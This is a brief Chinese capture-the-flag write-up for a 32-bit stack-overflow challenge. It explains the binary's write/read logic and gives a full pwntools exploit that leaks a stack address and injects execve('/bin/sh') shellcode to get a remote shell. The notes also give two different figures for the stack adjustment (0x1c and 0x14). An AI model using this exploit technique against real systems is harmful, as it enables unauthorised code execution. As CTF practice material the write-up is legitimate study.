这题啥保护没开
就两个函数,这就需要一定的汇编能力看出来这是干什么了
char buf[20];
write(1,buf,0x1c);
read(0,buf,0x3c);
汇编能就这个意思
这里还有一个关键的地方就是
push esp
push offest_exit
…………….
add esp ,0x1c
ret
就是待会我们溢出到原来那个esp处,然后泄露,这个esp呢,调试一下就会知道是下一个地址里的内容
泄露这个地址然后写进shellcode
from pwn import*
io = remote("node4.buuoj.cn",25751)
io.recv()
payload = b'a'*0x14 + p32(0x08048087)
io.send(payload)
stack_addr = u32(io.recv(4))
log.success("stack:"+hex(stack_addr))
shellcode = asm('xor ecx,ecx;xor edx,edx;xor eax,eax;mov al,0xb;xor ebx,ebx;mov ebx,esp;int 0x80;')
payload = b'a'*0x14 + p32(stack_addr+0x14+0x8)+b'/bin/sh\x00'+shellcode
io.send(payload)
io.interactive()
shellcraft没有用是因为read函数有限制范围
p32(stack_addr+0x14+0x8)这句话是因为栈上的地址还要考虑那句add esp ,0x14